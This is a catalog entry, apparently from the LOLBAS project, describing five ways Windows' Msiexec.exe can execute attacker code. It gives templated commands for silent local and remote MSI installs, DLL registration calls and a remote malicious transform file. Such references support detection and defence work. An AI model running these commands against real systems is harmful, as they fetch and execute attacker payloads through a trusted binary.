CatalogLOLBAS

LOL · Binary

Msiexec.exe

5 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Installs the target .MSI file silently.

Use Execute custom made msi file with attack code

msiexec /quiet /i {PATH:.msi}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute

Execute

ExecutionWindows

Installs the target remote & renamed .MSI file silently.

Use Execute custom made msi file with attack code from remote server

msiexec /q /i {REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute

Execute

ExecutionWindows

Calls DllRegisterServer to register the target DLL.

Use Execute dll files

msiexec /y {PATH_ABSOLUTE:.dll}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute

Execute

ExecutionWindows

Calls DllUnregisterServer to un-register the target DLL.

Use Execute dll files

msiexec /z {PATH_ABSOLUTE:.dll}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute

Execute

ExecutionWindows

Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.

Use Install trusted and signed msi file, with additional attack code as transformation file, from a remote server

msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute